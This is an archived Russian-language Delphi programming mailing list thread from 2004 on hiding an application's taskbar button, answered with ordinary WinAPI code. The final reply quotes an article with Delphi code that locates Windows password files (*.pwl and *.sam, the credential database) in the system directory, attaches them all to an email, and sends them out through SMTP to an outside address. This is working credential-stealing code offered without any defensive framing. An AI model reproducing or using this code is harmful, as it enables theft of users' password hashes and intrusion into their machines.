Отправляет email-рассылки с помощью сервиса Sendsay

Программирование. Форум !!!

Подписаться Бесплатный дискуссионный лист Подписчиков 308
←   Май 2004   →
 1
 2
 3
 4
04.05.2004
13:50:29
19:05:00
 5
 6
 7
 8
 9
10
11
11.05.2004
03:45:55
20:11:33
12
13
14
15
16
17
18
19
19.05.2004
06:23:09
22:02:26
20
21
21.05.2004
10:37:37
20:32:15
22
23
24
24.05.2004
12:46:15
22:01:04
25
26
27
28
29
30
31


За последние 60 дней ни разу не выходила


Сайт листа: http://codeguru.ru
Открыт: 21-09-2003
Пре-модерация: Нет
Адрес для писем в лист: comp.soft.prog.prog-list@subscribe.ru
Адрес модератора: comp.soft.prog.prog-owner@subscribe.ru

Модератор
3V

Статистика

308 подписчиков
0 за неделю

WinAPI|Delphi - TaskBAr

-=[6 мая 2004 г.]=-
Прив!

Народ, как мне скрыть кнопку (только кнопку, а не форму) моего приложения в Таскбар"е?

--
-=[ -B0rM@N- ]=- ICQ: 239-535-374
~WinAMP шпилит [x 02 The Crystal Method - Born Too Slow x]~
mailto:BormanSubscri***@u*****.net - т0льк0 для р@((ь|лkи ,)
mailto:Boris_Kolupa***@u*****.net - личнь|й [Redirect to Mobile Phone]
Номер выпуска : 3002
Возраст листа : 229 (дней)
Количество подписчиков : 394
Адрес в архиве : http://subscribe.ru/archive/comp.soft.prog.prog/msg/140671
Получить правила : mailto:comp.soft.prog.prog-rules@subscribe.ru
Формат "дайджест" : mailto:comp.soft.prog.prog-digest@subscribe.ru
Формат "каждое письмо" : mailto:comp.soft.prog.prog-normal@subscribe.ru
Формат "читать с веба" : mailto:comp.soft.prog.prog-webonly@subscribe.ru

-*Информационный канал Subscribe.Ru
Написать в лист: mailto:comp.soft.prog.prog-list@subscribe.ru
Отписаться: mailto:comp.soft.prog.prog--unsub@subscribe.ru

http://subscribe.ru/ mailto:ask@subscribe.ru

Ответить   "-=[-B0rMaN-]=-" Thu, 6 May 2004 14:24:19 +0300 (#140671)

 

Ответы:

Здоровеньки булы, -=[-B0rMaN-]=-!

6 мая 2004 г., четверг, 16:24:19 (GMT+05:00), пришел ко мне
почтальон Почкин и всучил письмо с пометкой "WinAPI|Delphi - TaskBAr",
в котором сообщалось следующее:

в Таскбар"е?

procedure TForm1.Button1Click(Sender: TObject);
begin
ShowWindow(Application.Handle,SW_Hide);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
ShowWindow(Application.Handle,SW_SHOW);
end;

можно еще так:
SetWindowLong(Application.Handle,GWL_EXSTYLE,GetWindowLong(Application.Handle,
GWL_EXSTYLE) and not WS_EX_APPWINDOW or WS_EX_TOOLWINDOW);

но это будет работать только в процедуре FormCreate

Ответить   Томилов Александр Sat, 8 May 2004 15:05:01 +0500 (#140838)

 

Об отправке вложения нашел статью маленькую
http://ximka.narod.ru/Alg.htm:
Отправка сообщения по email
Используем компонент : TNMSMTP
NMSMTP1.Host := 'server'; // пример smtp.mail.ru
NMSMTP1.Port := 25;
NMSMTP1.UserID := 'ID';
NMSMTP1.Connect;
NMSMTP1.PostMessage.ToAddress.Text := 'name@s*****.com';
NMSMTP1.PostMessage.Body.Text := Memo1.Text;
NMSMTP1.SendMail;

Поиск нужных файлов и отправка их
Используем компонент : TNMSMTP
Будем скачивать файлы pwl & sam
reg : TRegistry;
f : TSearchRec;
St : String;
NMSMTP1 : TNMSMTP;
Memo1 : TMemo1;

reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion',false);
St := reg.ReadString('SystemRoot');
reg.CloseKey;

if FindFirst(st+'\*.sam',faAnyFile,f) = 0 then
repeat
NMSMTP1.PostMessage.Attachments.Add(st+'\'+f.Name);
until FindNext(f) <> 0;

if FindFirst(st+'\*.pwl',faAnyFile,f) = 0 then
repeat
NMSMTP1.PostMessage.Attachments.Add(st+'\'+f.Name);
until FindNext(f) <> 0;

NMSMTP1.Host := 'server'; // пример smtp.mail.ru
NMSMTP1.Port := 25;
NMSMTP1.UserID := 'ID';
NMSMTP1.Connect;
NMSMTP1.PostMessage.ToAddress.Text := 'name@s*****.com';
NMSMTP1.PostMessage.Body.Text := Memo1.Text;
NMSMTP1.SendMail;

Ответить  
"Surin_bp"
Sat, 8 May 2004 17:41:55 +0400 (#140935)